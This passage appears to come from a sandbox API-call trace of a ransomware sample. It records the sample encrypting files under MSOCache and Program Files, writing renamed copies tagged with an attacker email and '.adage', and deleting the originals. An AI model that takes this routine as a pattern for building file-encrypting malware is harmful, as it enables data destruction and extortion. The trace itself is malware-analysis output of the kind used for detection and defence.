SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.576] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.576] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\LyncMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\lyncmui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.578] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d8860) returned 1 [0054.578] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.578] ReadFile (in: hFile=0x174, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x4cb, lpOverlapped=0x0) returned 1 [0054.579] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x4d0) returned 1 [0054.580] WriteFile (in: hFile=0x190, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x4d0, lpOverlapped=0x0) returned 1 [0054.580] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88a0) returned 1 [0054.580] CryptSetKeyParam (hKey=0x4d88a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.580] CryptEncrypt (in: hKey=0x4d88a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0054.580] CryptDestroyKey (hKey=0x4d88a0) returned 1 [0054.581] WriteFile (in: hFile=0x190, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0054.581] CryptDestroyKey (hKey=0x4d8860) returned 1 [0054.581] CloseHandle (hObject=0x174) returned 1 [0054.581] CloseHandle (hObject=0x190) returned 1 [0054.582] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\LyncMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\lyncmui.xml")) returned 1 [0054.583] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0054.583] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.584] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1690) returned 1 [0054.584] CloseHandle (hObject=0x190) returned 1 [0054.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0054.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0054.584] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.584] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.584] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.584] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.585] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d8860) returned 1 [0054.585] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.585] ReadFile (in: hFile=0x190, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x69a, lpOverlapped=0x0) returned 1 [0054.587] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x6a0, dwBufLen=0x6a0 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x6a0) returned 1 [0054.587] WriteFile (in: hFile=0x174, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x6a0, lpOverlapped=0x0) returned 1 [0054.587] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d8820) returned 1 [0054.588] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.588] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0054.588] CryptDestroyKey (hKey=0x4d8820) returned 1 [0054.588] WriteFile (in: hFile=0x174, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0054.588] CryptDestroyKey (hKey=0x4d8860) returned 1 [0054.588] CloseHandle (hObject=0x190) returned 1 [0054.588] CloseHandle (hObject=0x174) returned 1 [0054.589] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 1 [0054.590] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0054.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\EycKgld_uIVGhuCKmRk2.png" (normalized: "c:\\program files\\common files\\eyckgld_uivghuckmrk2.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.590] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=75499) returned 1 [0054.590] CloseHandle (hObject=0x174) returned 1 [0054.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\EycKgld_uIVGhuCKmRk2.png" (normalized: "c:\\program files\\common files\\eyckgld_uivghuckmrk2.png")) returned 0x20 [0054.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\EycKgld_uIVGhuCKmRk2.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\eyckgld_uivghuckmrk2.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0054.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\EycKgld_uIVGhuCKmRk2.png" (normalized: "c:\\program files\\common files\\eyckgld_uivghuckmrk2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.591] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.591] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\EycKgld_uIVGhuCKmRk2.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\eyckgld_uivghuckmrk2.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.591] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d8860) returned 1 [0054.591] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.591] ReadFile (in: hFile=0x174, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x126eb, lpOverlapped=0x0) returned 1 [0054.592] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x126f0, dwBufLen=0x126f0 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x126f0) returned 1 [0054.593] WriteFile (in: hFile=0x190, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x126f0, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x126f0, lpOverlapped=0x0) returned 1 [0054.595] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d8820) returned 1 [0054.595] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.595] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x60, dwBufLen=0x60 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x60) returned 1 [0054.595] CryptDestroyKey (hKey=0x4d8820) returned 1 [0054.595] WriteFile (in: hFile=0x190, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x112, lpOverlapped=0x0) returned 1 [0054.595] CryptDestroyKey (hKey=0x4d8860) returned 1 [0054.595] CloseHandle (hObject=0x174) returned 1 [0054.595] CloseHandle (hObject=0x190) returned 1 [0054.597] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\EycKgld_uIVGhuCKmRk2.png" (normalized: "c:\\program files\\common files\\eyckgld_uivghuckmrk2.png")) returned 1 [0054.991] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0054.991] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.009] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=791686) returned 1 [0055.009] CloseHandle (hObject=0x180) returned 1 [0055.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0055.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.009] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.010] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=27045) returned 1 [0055.010] CloseHandle (hObject=0x180) returned 1 [0055.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0055.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.010] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.144] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=89600) returned 1 [0055.144] CloseHandle (hObject=0x18c) returned 1 [0055.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0055.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.144] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.144] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.144] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.145] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=33280) returned 1 [0055.145] CloseHandle (hObject=0x18c) returned 1 [0055.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0055.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.145] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.146] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=62976) returned 1 [0055.146] CloseHandle (hObject=0x18c) returned 1 [0055.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0055.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.146] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.146] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=197120) returned 1 [0055.147] CloseHandle (hObject=0x18c) returned 1 [0055.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0055.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.147] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0055.240] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=224256) returned 1 [0055.241] CloseHandle (hObject=0x194) returned 1 [0055.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0055.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.241] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0055.241] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=215) returned 1 [0055.241] CloseHandle (hObject=0x194) returned 1 [0055.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0055.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.242] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.326] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=749) returned 1 [0055.326] CloseHandle (hObject=0x180) returned 1 [0055.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0055.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), 